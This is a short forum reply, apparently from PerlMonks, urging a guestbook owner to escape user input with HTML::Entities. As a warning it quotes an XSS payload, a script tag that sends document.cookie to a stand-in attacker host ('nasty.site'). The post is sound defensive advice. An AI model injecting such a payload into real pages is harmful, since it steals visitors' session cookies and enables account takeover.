THis or something similar should be in any code that re-displays user entered input. HTML::Entities can do a very good job with this. While an unclosed <H1> may be inconvienent this can be even worse: 

<script>
document.location='http://nasty.site/cgi-bin/cookie.cgi?'%20+document.
+cookie
</script>

[download]
take a look at http://www.cgisecurity.com/articles/xss-faq.shtml#theft for information on why this can be "very bad"

in short: never display uncooked user input in a web page unless you have a very good reason to.

In reply to Re^2: Emergency! Our guestbook is getting trashed by HTML! by amw1
in thread Emergency! Our guestbook is getting trashed by HTML! by JCHallgren

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":


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